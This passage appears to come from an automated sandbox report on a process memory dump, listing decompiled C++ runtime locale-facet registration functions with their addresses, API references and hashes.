0x6dd2b911
0x6dd2b8d8
0x6dd2b8d8
0x00000000
0x6dd2b8d8
0x6dd2b8d6

APIs

__EH_prolog3.LIBCMT ref: 6DD2B89F
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B8A9
int.LIBCPMT ref: 6DD2B8C0

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD2B8FA
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B91A
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B938

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: e02510c4328dea66ba5a1db0b6644edd6f58dfd06702cec1b10c0b10f9071430
Instruction ID: 4bd3814a7197288ed01ab13c9867c7bd972749fd72eacb98fef5492272d1865a
Opcode Fuzzy Hash: e02510c4328dea66ba5a1db0b6644edd6f58dfd06702cec1b10c0b10f9071430
Instruction Fuzzy Hash: 8B11A07590812DDBCF01FBA4C840AFDB775AF85728F164509F614A72D0DBB59A018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F8A5, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F8A5(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t111;
				signed int _t112;
				void* _t124;
				void* _t137;
				void* _t150;
				void* _t163;
				void* _t176;
				void* _t189;
				signed int _t283;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				void* _t330;

				_t305 = __edx;
				_t234 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t330 - 0x14, 0);
				_t315 =  *0x6ddd6db0; // 0x0
				 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
				 *(_t330 - 0x10) = _t315;
				_t111 = E6DCF161C(0x6ddd6d64);
				_t237 =  *((intOrPtr*)(_t330 + 8));
				_t112 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t111);
				_t307 = _t112;
				if(_t112 != 0) {
					L5:
					E6DD166BA(_t330 - 0x14);
					return E6DD30075(_t307);
				} else {
					if(_t315 == 0) {
						_push( *((intOrPtr*)(_t330 + 8)));
						_push(_t330 - 0x10);
						__eflags = E6DD213A1(__ebx, _t237, __edx, _t307, _t315) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t330 - 0x20);
							E6DD33D74(_t330 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t307, _t315, 0x14);
							E6DD16653(_t330 - 0x14, 0);
							_t316 =  *0x6ddd6ddc; // 0x0
							 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
							 *(_t330 - 0x10) = _t316;
							_t124 = E6DCF161C(0x6ddd6d88);
							_t244 =  *((intOrPtr*)(_t330 + 8));
							_t308 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t124);
							__eflags = _t308;
							if(_t308 != 0) {
								L12:
								E6DD166BA(_t330 - 0x14);
								return E6DD30075(_t308);
							} else {
								__eflags = _t316;
								if(_t316 == 0) {
									_push( *((intOrPtr*)(_t330 + 8)));
									_push(_t330 - 0x10);
									__eflags = E6DD21409(_t234, _t244, __edx, _t308, _t316) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t330 - 0x20);
										E6DD33D74(_t330 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t234, _t308, _t316, 0x14);
										E6DD16653(_t330 - 0x14, 0);
										_t317 =  *0x6ddd6de0; // 0x0
										 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
										 *(_t330 - 0x10) = _t317;
										_t137 = E6DCF161C(0x6ddd6d8c);
										_t251 =  *((intOrPtr*)(_t330 + 8));
										_t309 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t137);
										__eflags = _t309;
										if(_t309 != 0) {
											L19:
											E6DD166BA(_t330 - 0x14);
											return E6DD30075(_t309);
										} else {
											__eflags = _t317;
											if(_t317 == 0) {
												_push( *((intOrPtr*)(_t330 + 8)));
												_push(_t330 - 0x10);
												__eflags = E6DD21471(_t234, _t251, __edx, _t309, _t317) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t330 - 0x20);
													E6DD33D74(_t330 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t234, _t309, _t317, 0x14);
													E6DD16653(_t330 - 0x14, 0);
													_t318 =  *0x6ddd6dfc; // 0x0
													 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
													 *(_t330 - 0x10) = _t318;
													_t150 = E6DCF161C(0x6ddd6da8);
													_t258 =  *((intOrPtr*)(_t330 + 8));
													_t310 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t150);
													__eflags = _t310;
													if(_t310 != 0) {
														L26:
														E6DD166BA(_t330 - 0x14);
														return E6DD30075(_t310);
													} else {
														__eflags = _t318;
														if(_t318 == 0) {
															_push( *((intOrPtr*)(_t330 + 8)));
															_push(_t330 - 0x10);
															__eflags = E6DD214EC(_t234, _t258, _t305, _t310, _t318) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t330 - 0x20);
																E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t234, _t310, _t318, 0x14);
																E6DD16653(_t330 - 0x14, 0);
																_t319 =  *0x6ddd6dcc; // 0x0
																 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
																 *(_t330 - 0x10) = _t319;
																_t163 = E6DCF161C(0x6ddd6d80);
																_t265 =  *((intOrPtr*)(_t330 + 8));
																_t311 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t163);
																__eflags = _t311;
																if(_t311 != 0) {
																	L33:
																	E6DD166BA(_t330 - 0x14);
																	return E6DD30075(_t311);
																} else {
																	__eflags = _t319;
																	if(_t319 == 0) {
																		_push( *((intOrPtr*)(_t330 + 8)));
																		_push(_t330 - 0x10);
																		__eflags = E6DD21558(_t234, _t265, _t305, _t311, _t319) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t330 - 0x20);
																			E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t234, _t311, _t319, 0x14);
																			E6DD16653(_t330 - 0x14, 0);
																			_t320 =  *0x6ddd6e00; // 0x0
																			 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
																			 *(_t330 - 0x10) = _t320;
																			_t176 = E6DCF161C(0x6ddd6dac);
																			_t272 =  *((intOrPtr*)(_t330 + 8));
																			_t312 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t176);
																			__eflags = _t312;
																			if(_t312 != 0) {
																				L40:
																				E6DD166BA(_t330 - 0x14);
																				return E6DD30075(_t312);
																			} else {
																				__eflags = _t320;
																				if(_t320 == 0) {
																					_push( *((intOrPtr*)(_t330 + 8)));
																					_push(_t330 - 0x10);
																					__eflags = E6DD215C4(_t234, _t272, _t305, _t312, _t320) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t330 - 0x20);
																						E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t234, _t312, _t320, 0x14);
																						E6DD16653(_t330 - 0x14, 0);
																						_t321 =  *0x6ddd6dd0; // 0x0
																						 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
																						 *(_t330 - 0x10) = _t321;
																						_t189 = E6DCF161C(0x6ddd6d60);
																						_t279 =  *((intOrPtr*)(_t330 + 8));
																						_t313 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t189);
																						__eflags = _t313;
																						if(_t313 != 0) {
																							L47:
																							E6DD166BA(_t330 - 0x14);
																							return E6DD30075(_t313);
																						} else {
																							__eflags = _t321;
																							if(_t321 == 0) {
																								_push( *((intOrPtr*)(_t330 + 8)));
																								_push(_t330 - 0x10);
																								__eflags = E6DD2162A(_t234, _t279, _t305, _t313, _t321) - 0xffffffff;
																								if(__eflags == 0) {
																									_t283 = _t330 - 0x20;
																									E6DCF1438(_t283);
																									E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd7851f, _t234, _t313, _t321, 4);
																									_t322 = _t283;
																									 *(_t330 - 0x10) = _t322;
																									 *((intOrPtr*)(_t322 + 4)) =  *((intOrPtr*)(_t330 + 0xc));
																									_push( *((intOrPtr*)(_t330 + 0x14)));
																									_t105 = _t330 - 4;
																									 *_t105 =  *(_t330 - 4) & 0x00000000;
																									__eflags =  *_t105;
																									 *_t322 = 0x6dd7c0c4;
																									 *((char*)(_t322 + 0x28)) =  *((intOrPtr*)(_t330 + 0x10));
																									E6DD2542F(_t234, _t283, _t305, _t313, _t322,  *_t105);
																									return E6DD30075(_t322,  *((intOrPtr*)(_t330 + 8)));
																								} else {
																									_t313 =  *(_t330 - 0x10);
																									 *(_t330 - 0x10) = _t313;
																									 *(_t330 - 4) = 1;
																									E6DD16FD3(__eflags, _t313);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t313 + 4))))();
																									 *0x6ddd6dd0 = _t313;
																									goto L47;
																								}
																							} else {
																								_t313 = _t321;
																								goto L47;
																							}
																						}
																					} else {
																						_t312 =  *(_t330 - 0x10);
																						 *(_t330 - 0x10) = _t312;
																						 *(_t330 - 4) = 1;
																						E6DD16FD3(__eflags, _t312);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t312 + 4))))();
																						 *0x6ddd6e00 = _t312;
																						goto L40;
																					}
																				} else {
																					_t312 = _t320;
																					goto L40;
																				}
																			}
																		} else {
																			_t311 =  *(_t330 - 0x10);
																			 *(_t330 - 0x10) = _t311;
																			 *(_t330 - 4) = 1;
																			E6DD16FD3(__eflags, _t311);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t311 + 4))))();
																			 *0x6ddd6dcc = _t311;
																			goto L33;
																		}
																	} else {
																		_t311 = _t319;
																		goto L33;
																	}
																}
															} else {
																_t310 =  *(_t330 - 0x10);
																 *(_t330 - 0x10) = _t310;
																 *(_t330 - 4) = 1;
																E6DD16FD3(__eflags, _t310);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t310 + 4))))();
																 *0x6ddd6dfc = _t310;
																goto L26;
															}
														} else {
															_t310 = _t318;
															goto L26;
														}
													}
												} else {
													_t309 =  *(_t330 - 0x10);
													 *(_t330 - 0x10) = _t309;
													 *(_t330 - 4) = 1;
													E6DD16FD3(__eflags, _t309);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t309 + 4))))();
													 *0x6ddd6de0 = _t309;
													goto L19;
												}
											} else {
												_t309 = _t317;
												goto L19;
											}
										}
									} else {
										_t308 =  *(_t330 - 0x10);
										 *(_t330 - 0x10) = _t308;
										 *(_t330 - 4) = 1;
										E6DD16FD3(__eflags, _t308);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t308 + 4))))();
										 *0x6ddd6ddc = _t308;
										goto L12;
									}
								} else {
									_t308 = _t316;
									goto L12;
								}
							}
						} else {
							_t307 =  *(_t330 - 0x10);
							 *(_t330 - 0x10) = _t307;
							 *(_t330 - 4) = 1;
							E6DD16FD3(__eflags, _t307);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t307 + 4))))();
							 *0x6ddd6db0 = _t307;
							goto L5;
						}
					} else {
						_t307 = _t315;
						goto L5;
					}
				}
			}

0x6dd1f8a5
0x6dd1f8a5
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8d6
0x6dd1f8db
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3

APIs

__EH_prolog3.LIBCMT ref: 6DD1F8AC
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F8B6
int.LIBCPMT ref: 6DD1F8CD

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F907
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F927
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F945

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 5aeac2e50510f19c8e11bae155ce878cd520653d309edce3b6f2c2182cb6f7df
Instruction ID: 55083309f2a32c22dd68ff3575ba33af59e55fbdc94ee35f19d6b54eaaa4b441
Opcode Fuzzy Hash: 5aeac2e50510f19c8e11bae155ce878cd520653d309edce3b6f2c2182cb6f7df
Instruction Fuzzy Hash: 2711A07690812DDBCF01FBA8DC40AFDB775EF85328F164009F610A7291DB749A068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2BBD6, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6DD2BBD6(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t55;
				intOrPtr* _t63;
				intOrPtr* _t64;
				void* _t66;

				_t48 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t66 - 0x14, 0);
				_t63 =  *0x6ddd6e44; // 0x0
				 *(_t66 - 4) =  *(_t66 - 4) & 0x00000000;
				 *((intOrPtr*)(_t66 - 0x10)) = _t63;
				_t27 = E6DCF161C(0x6ddd6e24);
				_t51 =  *((intOrPtr*)(_t66 + 8));
				_t28 = E6DCF171B( *((intOrPtr*)(_t66 + 8)), _t27);
				_t61 = _t28;
				if(_t28 != 0) {
					L5:
					E6DD166BA(_t66 - 0x14);
					return E6DD30075(_t61);
				} else {
					if(_t63 == 0) {
						_push( *((intOrPtr*)(_t66 + 8)));
						_push(_t66 - 0x10);
						__eflags = E6DD2C295(__ebx, _t51, __edx, _t61, _t63) - 0xffffffff;
						if(__eflags == 0) {
							_t55 = _t66 - 0x20;
							E6DCF1438(_t55);
							E6DD33D74(_t66 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd7851f, __ebx, _t61, _t63, 4);
							_t64 = _t55;
							 *((intOrPtr*)(_t66 - 0x10)) = _t64;
							 *((intOrPtr*)(_t64 + 4)) =  *((intOrPtr*)(_t66 + 0xc));
							_push( *((intOrPtr*)(_t66 + 0x14)));
							_t21 = _t66 - 4;
							 *_t21 =  *(_t66 - 4) & 0x00000000;
							__eflags =  *_t21;
							 *_t64 = 0x6dd7c414;
							 *((char*)(_t64 + 0x28)) =  *((intOrPtr*)(_t66 + 0x10));
							E6DD2D028(_t48, _t55, __edx, _t61, _t64,  *_t21);
							return E6DD30075(_t64,  *((intOrPtr*)(_t66 + 8)));
						} else {
							_t61 =  *((intOrPtr*)(_t66 - 0x10));
							 *((intOrPtr*)(_t66 - 0x10)) = _t61;
							 *(_t66 - 4) = 1;
							E6DD16FD3(__eflags, _t61);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t61 + 4))))();
							 *0x6ddd6e44 = _t61;
							goto L5;
						}
					} else {
						_t61 = _t63;
						goto L5;
					}
				}
			}

0x6dd2bbd6
0x6dd2bbdd
0x6dd2bbe7
0x6dd2bbec
0x6dd2bbf7
0x6dd2bbfb
0x6dd2bbfe
0x6dd2bc03
0x6dd2bc07
0x6dd2bc0c
0x6dd2bc10
0x6dd2bc55
0x6dd2bc58
0x6dd2bc64
0x6dd2bc12
0x6dd2bc14
0x6dd2bc1a
0x6dd2bc20
0x6dd2bc28
0x6dd2bc2b
0x6dd2bc65
0x6dd2bc68
0x6dd2bc76
0x6dd2bc7b
0x6dd2bc83
0x6dd2bc88
0x6dd2bc8a
0x6dd2bc90
0x6dd2bc93
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bca0
0x6dd2bca6
0x6dd2bca9
0x6dd2bcb5
0x6dd2bc2d
0x6dd2bc2d
0x6dd2bc30
0x6dd2bc34
0x6dd2bc38
0x6dd2bc45
0x6dd2bc4d
0x6dd2bc4f
0x00000000
0x6dd2bc4f
0x6dd2bc16
0x6dd2bc16
0x00000000
0x6dd2bc16
0x6dd2bc14

APIs

__EH_prolog3.LIBCMT ref: 6DD2BBDD
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2BBE7
int.LIBCPMT ref: 6DD2BBFE

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD2BC38
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BC58
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BC76

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 80a718f174dd814aafe3f8769c733e9f726a771176f5c97c25737cceeb3486a6
Instruction ID: c2311073964f79519a6f7c64037417244b78cc43185864319041258d95122fcc
Opcode Fuzzy Hash: 80a718f174dd814aafe3f8769c733e9f726a771176f5c97c25737cceeb3486a6
Instruction Fuzzy Hash: 26118C71908129CBCF01FBA8C840AADB775EF85718F264109F611AB291DFB499018BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FBE3, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6DD1FBE3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t41;
				signed int _t42;
				void* _t54;
				signed int _t93;
				signed int _t103;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				void* _t110;

				_t79 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t110 - 0x14, 0);
				_t105 =  *0x6ddd6e00; // 0x0
				 *(_t110 - 4) =  *(_t110 - 4) & 0x00000000;
				 *(_t110 - 0x10) = _t105;
				_t41 = E6DCF161C(0x6ddd6dac);
				_t82 =  *((intOrPtr*)(_t110 + 8));
				_t42 = E6DCF171B( *((intOrPtr*)(_t110 + 8)), _t41);
				_t102 = _t42;
				if(_t42 != 0) {
					L5:
					E6DD166BA(_t110 - 0x14);
					return E6DD30075(_t102);
				} else {
					if(_t105 == 0) {
						_push( *((intOrPtr*)(_t110 + 8)));
						_push(_t110 - 0x10);
						__eflags = E6DD215C4(__ebx, _t82, __edx, _t102, _t105) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t110 - 0x20);
							E6DD33D74(_t110 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t102, _t105, 0x14);
							E6DD16653(_t110 - 0x14, 0);
							_t106 =  *0x6ddd6dd0; // 0x0
							 *(_t110 - 4) =  *(_t110 - 4) & 0x00000000;
							 *(_t110 - 0x10) = _t106;
							_t54 = E6DCF161C(0x6ddd6d60);
							_t89 =  *((intOrPtr*)(_t110 + 8));
							_t103 = E6DCF171B( *((intOrPtr*)(_t110 + 8)), _t54);
							__eflags = _t103;
							if(_t103 != 0) {
								L12:
								E6DD166BA(_t110 - 0x14);
								return E6DD30075(_t103);
							} else {
								__eflags = _t106;
								if(_t106 == 0) {
									_push( *((intOrPtr*)(_t110 + 8)));
									_push(_t110 - 0x10);
									__eflags = E6DD2162A(__ebx, _t89, __edx, _t103, _t106) - 0xffffffff;
									if(__eflags == 0) {
										_t93 = _t110 - 0x20;
										E6DCF1438(_t93);
										E6DD33D74(_t110 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd7851f, _t79, _t103, _t106, 4);
										_t107 = _t93;
										 *(_t110 - 0x10) = _t107;
										 *((intOrPtr*)(_t107 + 4)) =  *((intOrPtr*)(_t110 + 0xc));
										_push( *((intOrPtr*)(_t110 + 0x14)));
										_t35 = _t110 - 4;
										 *_t35 =  *(_t110 - 4) & 0x00000000;
										__eflags =  *_t35;
										 *_t107 = 0x6dd7c0c4;
										 *((char*)(_t107 + 0x28)) =  *((intOrPtr*)(_t110 + 0x10));
										E6DD2542F(_t79, _t93, __edx, _t103, _t107,  *_t35);
										return E6DD30075(_t107,  *((intOrPtr*)(_t110 + 8)));
									} else {
										_t103 =  *(_t110 - 0x10);
										 *(_t110 - 0x10) = _t103;
										 *(_t110 - 4) = 1;
										E6DD16FD3(__eflags, _t103);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t103 + 4))))();
										 *0x6ddd6dd0 = _t103;
										goto L12;
									}
								} else {
									_t103 = _t106;
									goto L12;
								}
							}
						} else {
							_t102 =  *(_t110 - 0x10);
							 *(_t110 - 0x10) = _t102;
							 *(_t110 - 4) = 1;
							E6DD16FD3(__eflags, _t102);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t102 + 4))))();
							 *0x6ddd6e00 = _t102;
							goto L5;
						}
					} else {
						_t102 = _t105;
						goto L5;
					}
				}
			}

0x6dd1fbe3
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc14
0x6dd1fc19
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
